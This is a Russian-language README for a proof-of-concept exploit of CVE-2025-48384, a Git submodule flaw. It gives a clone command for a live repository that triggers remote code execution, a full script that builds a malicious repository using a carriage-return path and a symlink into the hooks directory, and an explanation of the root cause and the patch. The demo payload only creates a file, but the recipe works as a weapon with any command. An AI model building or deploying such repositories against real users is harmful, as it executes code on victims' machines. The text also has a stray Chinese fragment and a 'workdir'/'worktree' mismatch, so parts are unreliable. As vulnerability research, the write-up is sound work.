
CVE-2025-48384 PoC
Этот репозиторий создан для образовательных целей по безопасности.
Пожалуйста, не злоупотребляйте.
Данная уязвимость требует включения \r в имя каталога,
поэтому она затрагивает системы Linux/Unix.
Ниже перечислены уязвимые версии Git:
При клонировании данного репозитория следующей командой также происходит RCE.
※ Будьте предельно осторожны при выполнении.
git clone --recursive https://github.com/IK-20211125/CVE-2025-48384
Выполняется команда, содержащаяся в post-checkout следующего репозитория подмодуля:
#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
#!/bin/zsh
git init sub
echo '#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook
git init CVE-2025-48384
git -C CVE-2025-48384 -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C CVE-2025-48384 mv sub "$(printf "sub\r")"
git config unset -f CVE-2025-48384/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> CVE-2025-48384/.gitmodules
ln -s .git/modules/sub/hooks CVE-2025-48384/sub
git -C CVE-2025-48384 add -A
git -C CVE-2025-48384 commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 bad-clone
Создано на основе этого. Внесены два изменения:
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
Сначала разберем, почему происходит RCE.
Данная уязвимость использует стандартный механизм Git – хуки (hooks).
Если кратко объяснить хуки,
это функция, позволяющая выполнять заранее заданные скрипты при наступлении определенных событий (например, коммита).
Данная уязвимость использует файл post-checkout внутри .git, который выполняется при переключении веток (checkout).
Однако этот файл обычно доступен только локально, поэтому при простом клонировании репозитория с GitHub
злоумышленник не может им управлять.
Это ограничение обходится с помощью обработки символа \r в Git,
что позволяет поместить произвольный файл post-checkout в локальную директорию ./.git/modules/sub/hooks/,从而实现 RCE.
Используется обработка символа \r в Git. Кратко объясним с точки зрения обработки Git.
Сначала выполняется git clone --recursive {url} для клонирования удаленного репозитория с GitHub локально.
Флаг --recursive позволяет клонировать также подмодули.
При этом подмодуль из url разворачивается в каталог, указанный в параметре path файла .gitmodules.
[submodule "sub"]
url = https://github.com/IK-20211125/sub.git
path = "sub"
Имя каталога в параметре path модифицируется следующим образом:
path = "sub\r"
Кроме того, имя каталога подмодуля в репозитории также устанавливается как sub\r.
При выполнении git clone --recursive таким образом,
Git попытается развернуть подмодуль из url в каталог sub\r в соответствии с path в .gitmodules.
(Если каталога, указанного в path, не существует, подмодуль не разворачивается.)
Однако Git не использует значение path из .gitmodules для определения конечного места развертывания подмодуля.
Вместо этого используется параметр worktree в файле .git/modules/sub/config.
Этот параметр записывается на основе значения path из .gitmodules.
Этот процесс записи критичен.
При записи path = \"sub\r\" в параметр worktree файла .git/modules/sub/config результат выглядит так:
[core]
workdir = ../../../sub\r
Ключевой момент: значение не заключено в двойные кавычки.
static ssize_t write_pair(int fd, const char *key, const char *value, [...]
{
[...]
/*
* Check to see if the value needs to be surrounded with a dq pair.
* Note that problematic characters are always backslash-quoted; this
* check is about not losing leading or trailing SP and strings that
* follow beginning-of-comment characters (i.e. ';' and '#') by the
* configuration parser.
*/
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
strbuf_addf(&sb, "\t%s = %s", key + store->baselen + 1, quote);
Двойные кавычки добавляются только если значение содержит пробел в определенной позиции,
или если в любом месте есть символы ; или #,
но для \r кавычки не добавляются.
Если кавычки отсутствуют, Git не интерпретирует завершающий \r. Следовательно, местом развертывания подмодуля становится ../../../sub.
Поскольку имя подмодуля — sub\r, можно создать файл любого типа с именем sub (конфликт имен отсутствует).
Поместив здесь символическую ссылку, можно изменить место развертывания подмодуля на ./.git/modules/sub/hooks/:
sub -> .git/modules/sub/hooks
Таким образом, файл скрипта злоумышленника post-checkout, находящийся внутри подмодуля,
попадает в локальную директорию ./.git/modules/sub/hooks/ жертвы и выполняется при переключении веток.
Атака возможна из-за различий в обработке символа \r в Git.
.gitmodules, значение заключено в кавычки, поэтому \r интерпретируется..git/modules/sub/config, кавычки отсутствуют, поэтому \r не интерпретируется.В исправленных версиях Git внесены следующие изменения:
(добавлено заключение в кавычки при наличии \r):
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#' || value[i] == '\r')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
Существует похожая уязвимость CVE-2024-32002.
Эта уязвимость затрагивает файловые системы, не различающие регистр (Windows, MacOS и т.д.),
и, как и CVE-2025-48384, использует символические ссылки для вмешательства в хуки Git.
Следующая статья может быть полезна:
https://japanese.opswat.com/blog/analyzing-and-remediating-git-vulnerability-cve-2024-32002
※ Если в содержании есть ошибки в интерпретации, пожалуйста, укажите на них.